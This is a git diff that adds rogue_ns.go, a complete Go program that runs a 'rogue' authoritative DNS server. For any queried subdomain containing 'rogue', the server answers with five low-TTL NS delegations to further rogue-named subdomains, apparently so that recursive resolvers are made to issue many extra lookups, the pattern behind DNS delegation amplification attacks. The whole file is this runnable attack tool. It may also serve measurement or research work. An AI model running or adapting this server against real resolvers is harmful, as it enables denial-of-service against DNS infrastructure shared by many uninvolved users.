1 files changed, 64 insertions, 0 deletions
diff --git a/rogue_ns.go b/rogue_ns.go
new file mode 100644
index 0000000..b33a701
--- /dev/null
+++ b/rogue_ns.go
@@ -0,0 +1,64 @@
+package main
+
+import (
+	"flag"
+	"net"
+	"strconv"
+	"strings"
+
+	"github.com/miekg/dns"
+)
+
+func rogue_delegation(w dns.ResponseWriter, r *dns.Msg) {
+	m := new(dns.Msg)
+	m.SetReply(r)
+	m.Compress = true
+	m.Authoritative = true
+
+	qname := m.Question[0].Name
+	qtype := m.Question[0].Qtype
+	subdomain := strings.ToLower(strings.Split(qname, ".")[0])
+	if qtype == dns.TypeA {
+		if subdomain == "ns1" || subdomain == "ns2" {
+			resp := &dns.A{
+				Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 10},
+				A:   net.ParseIP(CONFIG_NS),
+			}
+			m.Answer = append(m.Answer, resp)
+		} else if strings.Contains(subdomain, "rogue") {
+			var ns_target string
+			var resp *dns.NS
+			for i := 0; i < 5; i++ {
+				ns_target = strings.Join([]string{subdomain + strconv.Itoa(i), CONFIG_SLD}, ".")
+				resp = &dns.NS{
+					Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 10},
+					Ns:  dns.Fqdn(ns_target),
+				}
+				m.Ns = append(m.Ns, resp)
+			}
+		} else {
+			m.MsgHdr.Rcode = dns.RcodeNameError
+		}
+	} else {
+		m.MsgHdr.Rcode = dns.RcodeNameError
+	}
+	w.WriteMsg(m)
+}
+
+var CONFIG_SLD string
+var CONFIG_NS string
+
+func main() {
+	flag.StringVar(&CONFIG_NS, "ns", "8.8.8.8", "nameserver ip address")
+	flag.StringVar(&CONFIG_SLD, "sld", "", "configure sld for rogue server")
+	flag.Parse()
+	if CONFIG_SLD == "" {
+		panic("Please configure the SLD for the echo dns server!\n")
+	}
+	dns.HandleFunc(dns.Fqdn(CONFIG_SLD), rogue_delegation)
+	server := &dns.Server{Addr: ":53", Net: "udp"}
+	if err := server.ListenAndServe(); err != nil {
+		println("Failed to set up the rogue server")
+		panic(err)
+	}
+}